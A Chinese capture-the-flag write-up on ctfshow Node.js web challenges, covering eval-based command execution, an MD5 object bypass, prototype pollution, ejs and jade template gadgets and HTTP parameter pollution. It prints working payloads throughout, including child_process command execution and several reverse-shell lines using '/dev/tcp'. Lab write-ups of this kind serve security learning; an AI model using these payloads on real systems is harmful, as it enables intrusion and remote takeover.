ctfshow_web入门_nodejs


学习链接:

web334 JS大小写特性

这题纯纯考看代码。

user.js 发现 username: 'CTFSHOW', password: '123456'

login.js 里有这么一段代码:

var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

//---------------------------------------------------------------------------
//第一次接触nodejs,所以我对代码做了分析:
var findUser = 
  function(name, password)//我们输入的username,password当做参数传入这个函数
  {
    return users.find
    (
      function(item)//这里的item代表users,我理解为类的this关键字
      {
        return (name!=='CTFSHOW') //不能等于CTFSHOW全是大写
            && (item.username === name.toUpperCase())//我们输入的字符串转大写后要强等于CTFSHOW
            && (item.password === password);//密码相等
      }
    );
  };

name和password是我们传入的值;item.username和item.password是user.js里的用户名密码。

我们传入的name不能等于CTFSHOW,name的大写形式要强等于item.username,也就是CTFSHOW。密码要是123456。

所以我们可以写几个小写:

CTFshow
123456

登录成功获得flag

看大佬的博客发现还有一个trick,p神文章:Fuzz中的javascript大小写特性 | 离别歌 (leavesongs.com)

Character.toUpperCase()函数,字符ı会转变为I,字符ſ会变为S
Character.toLowerCase()函数,字符İ会转变为i,字符K会转变为k

web335 JS 的 RCE

本题带我们了解掌握 Node.JS 的 RCE。

在js中,eval()方法用于计算字符串,并把它作为脚本代码来执行eval() - JavaScript

payload里利用到的child_process: child_process 子进程 | Node.js API 文档

PAYLOAD:

?eval=require("child_process").execSync('ls')

?eval=require('child_process').execSync('ls').toString()

?eval=require("child_process")['exe'%2B'cSync']('ls')

?eval=require('child_process').spawnSync( 'ls', [ './' ] ).stdout.toString()

?eval=global.process.mainModule.constructor._load('child_process').execSync('ls')

其他姿势:

//读文件夹,读文件函数
?eval=require('fs').readdirSync(".")
?eval=require('fs').readFileSync('./fl00g.txt','utf8');
//字符串拼接
?eval=var s='global.process.mainModule.constructor._lo';var b="ad('child_process').ex";var c="ec(%27ls>public/1.txt%27);";eval(s%2Bb%2Bc)%3B

web336 有过滤的RCE

继上一题RCE,过滤了exec|load。姿势还是很多d。

?eval=require( 'child_process' ).spawnSync( 'ls', [ '.' ] ).stdout.toString()
?eval=require( 'child_process' ).spawnSync( 'cat', [ 'f*' ] ).stdout.toString()

知识点补充:

__filename:返回当前模块文件被解析过后的绝对路径。

__dirname:返回当前模块文件解析过后所在的文件夹(目录)的绝对路径。

web337 js变量

这题考察对于 js变量 的理解。

js变量分为:值类型(基本类型)、引用数据类型(对象类型)。

题目源码:

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);
  }else{
  	res.render('index',{ msg: 'tql'});
  }
  
});

module.exports = router;

关键代码:

 if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);

payload:

a[x]=1&b[x]=2

原理:

a[x]=1&b[x]=2 相当于是说,a和b都是 引用数据类型(对象类型),那么在a+flagb+flag 时,他们的结果就会都是[object Object]flag{xxx} ,那么md5值自然就是一样的了。

若运行如下代码:

//a,b是对象
a={'x':'1'}
b={'x':'2'}

console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")

两个都会打印出[object Object]flag{xxx},所以他们的md5也是一样的了。

为什么传a[0]=1&b[0]=2不行呢,因为当我们这样传的时候相当于创了个数组变量a=[1] b=[2]

//数组变量
a=[1]
b=[2]

console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")

打印出来的结果是1flag{xxx}2flag{xxx},md5就会是不一样的了。

web338 原型链污染

本题考察简单的 原型链污染

学习链接:

源码:

//routes/login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');

/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
});
module.exports = router;
//--------------------------------------------------------------------
//utils/common.js
module.exports = {
  copy:copy
};
function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) 
        {
            copy(object1[key], object2[key])
        } 
        else 
        {
            object1[key] = object2[key]
        }
    }
  }

要让secert.ctfshow==='36dboy',就会输出flag。

调用了copy函数:utils.copy(user,req.body);,可以与链接文章里面的merge函数类比。

登录的时候抓包,修改post的内容:

{"__proto__":{"ctfshow":"36dboy"}}

原理:

我们看copy函数,object1user,它的定义是let user = {}; ,就是一个空对象。

object2是我们POST的内容,也就是{"__proto__":{"ctfshow":"36dboy"}} 。(require('body-parser').json() 会解析json)

第一次循环,key__proto__ ,因为每一个对象都有__proto__属性,所以判断为TRUE,然后递归调用copy函数。
这次传参,object1object1['__proto__'] ,就是Object{……},回溯到了Object类了,
object2object2['__proto__'] ,就是{ ctfshow: "36dboy" }

此时keyctfshow。因为Object没有ctfshow这个变量,所以经过判断为FALSE,进入else,执行object1['ctfshow'] = object2['ctfshow'] 。将Object类的ctfshow的值改为了36dboy ,那么所有继承object类的类都会有属性ctfshow=36dboy,也就是所有类,因为所有类都是object的子类。

var secert = {}; secert被污染,也拥有属性ctfshow=36dboy。

 if(secert.ctfshow==='36dboy'){
    res.end(flag);

判断为真,所以输出flag

web339 原型链污染

和上一题的区别是:

  if(secert.ctfshow===flag){
    res.end(flag);

flag我们是不知道的,这里不能利用。但还是可以通过copy函数进行原型链污染。

比上一题多了一个api.js文件:

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');

/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)});
   
});

module.exports = router;

关键看:

res.render('api', { query: Function(query)(query)});

Function - JavaScript | MDN (mozilla.org)

JS 的函数实际上都是一个 Function 对象,它的参数为

new Function ([arg1[, arg2[, ...argN]],] functionBody)

Function 对象传入构造函数里的 第一个是函数的形参,可以省略,第二个参数是函数体。

写个小demo:

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }
 var user ={}
 body=JSON.parse('{"__proto__":{"query":"return 123"}}');
 copy(user,body);
 console.log(Function(query)(query));

控制台输出123。因为Function函数体就是return 123

所以思路就是我们先通过copy函数污染query的值,然后访问/api触发。

PAYLOAD:

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/IP/端口 0>&1\"')"}}

这里return返回的是一个shell。

global.process.mainModule.constructor._load('child_process').exec()是运用的前面的RCE的知识。

其实是相当于require('child_process').exec(),但是require不是全局的。Global objects | Node.js v19.4.0 Documentation (nodejs.org)

require:This variable may appear to be global but is not. See require()

bash -c \"bash -i >& /dev/tcp/IP/端口 0>&1\" 反弹shell。之所以要套2层bash,就是本地测试,发现一层bash的话会报错。

非预期解:

这题用了ejs模板引擎,这个模板引擎有个漏洞可以rce:

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/xxx 0>&1\"');var __tmp2"}}

web340 原型链污染

和上一题差不多,只不过这里不一样:

  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  }
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
   res.end(flag);
  }else{
   return res.json({ret_code: 2, ret_msg: '登录失败'});  
  }

可以看到,user.__proto__并不是Object.prototypeuser.__proto__.__proto__才是。

因此污染两层即可:

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/IP/端口 0>&1\"')"}}

web341 ejs rce

预期解ejs rce

先进行一下原型链污染,再刷新一次即可

payload:

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/xxx 0>&1\"');var __tmp2"}}}

web342、343 jade原型链污染

jade原型链污染

payload:

{"__proto__":{"__proto__": {"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/810>&1\"')"}}}

在login页面打上去之后随便访问下,就会反弹。

几个node模板引擎的原型链污染分析 | L0nm4r (lonmar.cn)

https://xz.aliyun.com/t/7025

web344 HTTP参数污染

HTTP参数污染。

部分源码:

router.get('/', function(req, res, next) {
  res.type('html');
  var flag = 'flag_here';
  if(req.url.match(/8c|2c|\,/ig)){
  	res.end('where is flag :)');
  }
  var query = JSON.parse(req.query.query);
  if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
  	res.end(flag);
  }else{
  	res.end('where is flag. :)');
  }

});

url 中不能包含大小写 8c2c逗号

先构造一个正常请求

/?query={"name":"admin","password":"ctfshow","isVIP":true}

发现题目会过滤掉逗号,尝试 URL 编码, urlencode(",") = %2c 发现 2c 也被过滤

HTTP协议中 允许 同名参数 出现多次,例如?a=1&a=2 ,有的服务端取的1,有的取的2 。不同服务端对同名参数处理都是不一样的,下面链接列举了一些:
https://www.cnblogs.com/AtesetEnginner/p/12375499.html

nodejs 会把同名参数以数组的形式存储,并且 JSON.parse 可以正常解析。

因此构造

?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

这里把 ctfshow 的 c 进行url编码,是因为 双引号 的url编码是 %22,和 c 连接起来就是 %22c,会匹配到正则表达式。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

kikkeve

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值